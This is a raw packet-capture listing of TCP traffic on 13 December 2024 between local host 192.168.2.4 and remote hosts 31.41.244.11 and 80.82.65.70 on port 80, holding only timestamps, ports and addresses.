Dec 13, 2024 01:51:32.710650921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.710684061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.710725069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.711611986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.711715937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.711757898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.712611914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.712654114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.712713957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.712754011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.713613987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.713660002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.713692904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.713732958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.714621067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.714658976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.714700937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.714739084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.715643883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.715660095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.715703964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.716624975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.716640949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.716665030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.716687918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.717628956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.717670918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.717678070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.717705011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.718580961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.718621969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.718699932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.718735933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.719610929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.719692945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.719737053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.720606089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.720622063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.720649004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.720673084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.721590996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.721606970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.721649885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.722577095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.722614050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.722634077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.722671032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.723572969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.723685026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.723728895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.724575043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.724617004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.724685907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.724728107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.725568056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.725610018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.725667953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.725708961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.726495981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.726537943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.828370094 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:32.831410885 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:32.863636971 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:32.866353035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.866588116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.866677046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.866811991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.866873980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.866916895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.866970062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.867762089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.867811918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.867857933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.867902040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.868757963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.868803978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.868855000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.868896961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.869740963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.869786024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.869857073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.869899988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.870757103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.870815039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.870862961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.870904922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.872003078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.872020006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.872071981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.872740984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.872807980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.874299049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.874315023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.874330044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.874365091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.874392033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.874752045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.874861956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.874907970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.875744104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.875788927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.875838995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.875881910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.876738071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.876777887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.876780987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.876817942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.877752066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.877799034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.877836943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.878722906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.878776073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.878818035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.878864050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.879733086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.879781961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.879822969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.879865885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.880743027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.880795956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.880840063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.880882978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.881701946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.881763935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.881800890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.881844997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.882693052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.882817030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.882893085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.883729935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.883780003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.883821964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.883867979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.884711027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.884825945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.884840965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.884901047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.885696888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.885817051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.885867119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.886697054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.886744022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.886785030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.886831045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.887721062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.887768984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.887804985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.887847900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.888758898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.888804913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.888818026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.888858080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.889931917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.889946938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.889991999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.890724897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.890773058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.890913963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.890958071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.891690016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.891733885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.891773939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.891827106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.892683029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.892714024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.892729044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.892767906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.893668890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.893718004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.893786907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.893841028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.894701958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.894843102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.894890070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.895720005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.895767927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.895821095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.895864010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.896688938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.896737099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.896781921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.896846056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.897676945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.897753000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.897803068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.898695946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.898746014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.898799896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.898852110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.899688959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.899733067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.899812937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.899854898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.900662899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.900707960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.900743961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.900784969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.901634932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.901762009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.901809931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.902631998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.902679920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.902740002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.902787924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.903661013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.903706074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.903764009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.903820038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.904633045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.904687881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.904732943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.904820919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.905643940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.905690908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.905735016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.905798912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.906630039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.906687975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.906728983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.906773090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.907948017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.908004045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.908041954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.908082962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.908657074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.908709049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.908756971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.908797979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.909607887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.909753084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.909801960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.910614967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.910660982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.910702944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.910743952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.911618948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.911665916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.911712885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.911755085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.912642002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.912703991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.912717104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.912755966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.913588047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.913650036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.913693905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.914613008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.914658070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.914751053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.914819002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.915623903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.915667057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.915749073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.915812016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.916604996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.916647911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.916723013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.916764975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.917588949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.917630911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.917694092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.917746067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.918550014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.921310902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.983618975 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.058639050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.058692932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.058949947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.059168100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.059221029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.059329033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.059329033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.059875965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.059931993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.060019970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.060067892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.060898066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.060950994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.061012030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.061057091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.061866045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.061992884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.062041044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.062922955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.062999964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.063036919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.063082933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.063873053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.063927889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.063992023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.064043999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.064893961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.064944983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.065009117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.065054893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.065865993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.065992117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.066040993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.066821098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.066870928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.066936970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.066982031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.067838907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.067888975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.067955971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.067998886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.068834066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.068881035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.068947077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.069041967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.069811106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.069936991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.069983959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.070836067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.070883989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.070943117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.070987940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.071842909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.071906090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.071960926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.072005033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.072823048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.072870970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.072949886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.072993994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.073826075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.073906898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.073952913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.074826956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.074907064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.074923992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.074965000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.075926065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.075975895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.076117992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.076163054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.076828003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.076873064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.076917887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.077013016 CET	49809	80	192.168.2.4	31.41.244.11
